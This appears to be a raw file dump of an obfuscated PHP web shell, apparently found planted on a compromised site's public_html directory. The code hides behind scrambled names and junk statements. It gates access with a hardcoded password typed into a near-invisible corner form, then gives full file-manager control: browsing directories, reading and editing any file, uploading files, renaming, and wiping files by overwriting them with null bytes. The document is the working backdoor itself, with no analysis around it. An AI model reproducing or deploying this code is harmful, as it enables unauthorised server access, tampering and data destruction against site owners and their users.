File "semicompromi-20260429210328.php"
Full Path: /home/ccipcixf/public_html/dds.ccipk.com/semicompromi-20260429210328.php
File size: 9.21 KB
MIME-type: text/x-php
Charset: utf-8
<?php function umqge($v): string {return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8');$aivar=crc32('dummy_data');}$iyvar=array_reverse([1,2,3]);function lnfxm(){if(!session_id())session_start();if(!isset($_SESSION['nemas']))$_SESSION['nemas']=[];$mqivar=sha1(uniqid());}$wyzyvar=get_defined_constants()['PHP_VERSION']??'';function xfrl($v){lnfxm();$xcomivar=~0;static $c=0;$c++;$_SESSION['nemas'][$c]=$v;$zdvar=(1>2)?'yes':'no';return $c;$cgvar=ctype_alnum('abc123');}$bxvar=ceil(pi()*2);function pflyz($k,$d=null){lnfxm();$jldacvar=0?:'default';return $_SESSION['nemas'][$k]??$d;}function kk($p,$olaivar){$p=str_replace("\0",'',$p);$zwacevar=crc32('dummy_data');$p=trim($p);$iwgctvar=null??null??0;if($p==='' or $p==='.' or $p==='/')return $olaivar;$yuvar=(int)0;$p=rawurldecode($p);$nlptvar=date('Y-m-d');$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($olaivar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$khvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $smcvar){if($smcvar==='' or $smcvar==='.')continue;if($smcvar==='..'){array_pop($khvar);continue;}$khvar[]=$smcvar;}$mdzvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$khvar);$lwvar=@realpath($mdzvar);$fgbvar=realpath($olaivar);if($lwvar!==false and $fgbvar!==false and strpos($lwvar,$fgbvar)===0)$mdzvar=$lwvar;is_file($mdzvar) and ($mdzvar=dirname($mdzvar));return rtrim($mdzvar,DIRECTORY_SEPARATOR);}function evoqg($p){if(!is_file($p) or !is_readable($p))return false;$bzbovar=@fopen($p,'rb');if(!$bzbovar)return false;$ldvar='';while(!feof($bzbovar)){$fgmvar=fread($bzbovar,8192);if($fgmvar===false)break;$ldvar.=$fgmvar;}fclose($bzbovar);return $ldvar;}function zuykpo($p,$d){$lmergvar=dirname($p);if(!is_dir($lmergvar) or !is_writable($lmergvar))return false;$bzbovar=@fopen($p,'wb');if(!$bzbovar)return false;flock($bzbovar,LOCK_EX);$zmopvar=fwrite($bzbovar,$d);flock($bzbovar,LOCK_UN);fclose($bzbovar);return $zmopvar!==false;}function rg($p){if(is_file($p) and is_writable($p)){$bzbovar=@fopen($p,'wb');if($bzbovar){fwrite($bzbovar,str_repeat("\0",max(1,@filesize($p))));fclose($bzbovar);}return true;}return false;}function mik($p,$hmqvar){return '<a href="?bs='.umqge(xfrl($p)).'">'.umqge($hmqvar).'</a>';}function paevqx($p,$olaivar){$lwvar=realpath($p);$fgbvar=realpath($olaivar);if(!$lwvar or !$fgbvar or strpos($lwvar,$fgbvar)!==0)return umqge($p);$aprvar=substr($lwvar,strlen($fgbvar));$aprvar=trim($aprvar,DIRECTORY_SEPARATOR);$smcvar=$aprvar===''?[]:explode(DIRECTORY_SEPARATOR,$aprvar);$qardlvar=[mik($olaivar,'~')];$pxdvar=$olaivar;foreach($smcvar as $s){$pxdvar=rtrim($pxdvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$qardlvar[]=mik($pxdvar,$s);}return implode(' / ',$qardlvar);}$olaivar=__DIR__;$iwzlvar="macrorib";lnfxm();if(!isset($_SESSION['autocapsiza'])){if(isset($_POST['kh']) or isset($_GET['kh'])){$nnnfvar=$_POST['kh']??$_GET['kh'];if($nnnfvar===$iwzlvar){$_SESSION['autocapsiza']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['autocapsiza'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f0f0f0}.yo6{position:fixed;bottom:8px;left:8px;opacity:0.13;display:flex;gap:3px}.yo6 input{width:58px;padding:2px 3px;border:1px solid #ccc;background:#fff;font:10px/1.4 monospace;outline:none}.yo6 button{padding:2px 6px;border:1px solid #ccc;background:#eee;font:10px monospace;cursor:pointer;color:#555}</style></head><body><form class="yo6" method="post"><input type="password" name="kh" autocomplete="off"><button type="submit">›</button></form></body></html><?php exit;}}$hxkvar=$_GET['bs']??null;$lzvzvar=$hxkvar?kk(pflyz($hxkvar,$olaivar),$olaivar):kk($_GET['sm']??'',$olaivar);if(isset($_POST['x']) and isset($_FILES['rf'])){$hovar=$_FILES['rf']['tmp_name'];$pdvar=basename($_FILES['rf']['name']);$psuevar=$lzvzvar.DIRECTORY_SEPARATOR.$pdvar;if($hovar and $pdvar and is_uploaded_file($hovar) and @move_uploaded_file($hovar,$psuevar)){header('Location: ?bs='.xfrl($lzvzvar).'&e=1');exit;}header('Location: ?bs='.xfrl($lzvzvar));exit;}if(isset($_POST['g']) and isset($_GET['k'])){$qgjouvar=$lzvzvar.DIRECTORY_SEPARATOR.basename($_GET['k']);$sluhvar=$_POST['hi']??'';if(zuykpo($qgjouvar,$sluhvar)){header('Location: ?bs='.xfrl($lzvzvar).'&k='.urlencode($_GET['k']).'&e=2');exit;}header('Location: ?bs='.xfrl($lzvzvar));exit;}if(isset($_POST['tk'])){$esvar=basename($_POST['nb']??'');$qgjouvar=$lzvzvar.DIRECTORY_SEPARATOR.$esvar;if($esvar!=='' and (is_file($qgjouvar) or is_dir($qgjouvar)) and rg($qgjouvar)){header('Location: ?bs='.xfrl($lzvzvar));exit;}}if(isset($_POST['yz'])){$srvar=basename($_POST['c']??'');$hocvar=basename($_POST['h']??'');if($srvar!=='' and $hocvar!=='')@rename($lzvzvar.DIRECTORY_SEPARATOR.$srvar,$lzvzvar.DIRECTORY_SEPARATOR.$hocvar);header('Location: ?bs='.xfrl($lzvzvar));exit;}$pkmsvar=(int)($_GET['e']??0);$snsvar=$_GET['k']??null;$ejonsvar='';if($snsvar){$ejonsvar=evoqg($lzvzvar.DIRECTORY_SEPARATOR.basename($snsvar));}$anvar=[];$ngvar=[];$slzytvar=@scandir($lzvzvar);if($slzytvar!==false){foreach($slzytvar as $rjqdvar){if($rjqdvar==='.' or $rjqdvar==='..')continue;$qgjouvar=$lzvzvar.DIRECTORY_SEPARATOR.$rjqdvar;if(is_dir($qgjouvar)){$anvar[]=['n'=>$rjqdvar,'p'=>$qgjouvar];}else{$cdswnvar=@filesize($qgjouvar);$ugbapvar='';if($cdswnvar!==false){$zxvar=['b','k','m','g'];$tbvar=0;while($cdswnvar>=1024 and $tbvar<3){$cdswnvar/=1024;$tbvar++;}$ugbapvar=round($cdswnvar,1).$zxvar[$tbvar];}$ngvar[]=['n'=>$rjqdvar,'s'=>$ugbapvar];}}sort($anvar);sort($ngvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#efefef;font:12px/1.5 monospace;color:#333}.vf1{max-width:860px;margin:18px auto;padding:0 12px}.ck5{font-size:10px;color:#aaa;padding:6px 0 10px}.ck5 a{color:#888;text-decoration:none}.ck5 a:hover{text-decoration:underline}.fr6{padding:5px 10px;background:#e8ffe8;border-left:3px solid #9c9;font-size:10px;margin-bottom:10px;color:#595}.kl5{background:#fff;border:1px solid #ddd;padding:10px;margin-bottom:12px}.kl5 textarea{width:100%;padding:6px;border:1px solid #ddd;font:11px monospace;resize:vertical;min-height:280px;outline:none}.kl5 .aq3{margin-top:6px;display:flex;gap:5px}.la0{background:#fff;border:1px solid #ddd;padding:8px 10px;margin-bottom:12px;display:flex;gap:6px;align-items:center}.la0 input[type=file]{flex:1;font-size:10px}.ph3{width:100%;border-collapse:collapse;background:#fff;border:1px solid #ddd}.ph3 tr{border-bottom:1px solid #f0f0f0}.ph3 tr:last-child{border-bottom:none}.ph3 tr:hover{background:#fafafa}.ph3 td{padding:5px 8px;font-size:11px;vertical-align:middle}.ph3 .gz1{color:#aaa;font-size:9px;width:24px}.ph3 .wy9 a{color:#222;text-decoration:none}.ph3 .wy9 a:hover{color:#0055bb}.ph3 .ja0{color:#bbb;font-size:9px;width:50px;text-align:right}.ph3 .tf1{width:160px;text-align:right}.zc0{padding:2px 7px;background:#f5f5f5;border:1px solid #d5d5d5;font:9px monospace;cursor:pointer;color:#444}.zc0:hover{background:#e8e8e8}.yz1{width:70px;padding:2px;border:1px solid #ccc;font:9px monospace}.yw5{display:inline}.mk4{color:#ddd;margin:0 2px}</style></head><body><div class="vf1"><div class="ck5"><?php echo paevqx($lzvzvar,$olaivar)?></div><?php if($pkmsvar===1):?><div class="fr6">zakozam</div><?php endif?><?php if($pkmsvar===2):?><div class="fr6">uydare</div><?php endif?><?php if($snsvar and $ejonsvar!==false):?><div class="kl5"><form method="post"><textarea name="hi"><?php echo umqge($ejonsvar)?></textarea><div class="aq3"><button class="zc0" name="g">omekolur</button><a href="?bs=<?php echo umqge(xfrl($lzvzvar))?>"><button type="button" class="zc0">←</button></a></div></form></div><?php endif?><div class="la0"><form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;width:100%;align-items:center"><input type="file" name="rf"><button class="zc0" name="x">+</button></form></div><table class="ph3"><tbody><?php foreach($anvar as $lmergvar):?><tr><td class="gz1">[+]</td><td class="wy9"><?php echo mik($lmergvar['p'],$lmergvar['n'])?></td><td class="ja0"></td><td class="tf1"><form class="yw5" method="post"><input type="hidden" name="nb" value="<?php echo umqge($lmergvar['n'])?>"><button name="tk" class="zc0" onclick="return confirm('?')">×</button></form><span class="mk4">|</span><form class="yw5" method="post"><input type="hidden" name="c" value="<?php echo umqge($lmergvar['n'])?>"><input type="text" name="h" class="yz1" placeholder=".."><button name="yz" class="zc0">›</button></form></td></tr><?php endforeach?><?php foreach($ngvar as $zwpuvar):?><tr><td class="gz1">[-]</td><td class="wy9"><?php echo umqge($zwpuvar['n'])?></td><td class="ja0"><?php echo $zwpuvar['s']?></td><td class="tf1"><a href="?bs=<?php echo umqge(xfrl($lzvzvar))?>&k=<?php echo urlencode($zwpuvar['n'])?>"><button class="zc0">~</button></a><span class="mk4">|</span><form class="yw5" method="post"><input type="hidden" name="nb" value="<?php echo umqge($zwpuvar['n'])?>"><button name="tk" class="zc0" onclick="return confirm('?')">×</button></form><span class="mk4">|</span><form class="yw5" method="post"><input type="hidden" name="c" value="<?php echo umqge($zwpuvar['n'])?>"><input type="text" name="h" class="yz1" placeholder=".."><button name="yz" class="zc0">›</button></form></td></tr><?php endforeach?></tbody></table></div></body></html>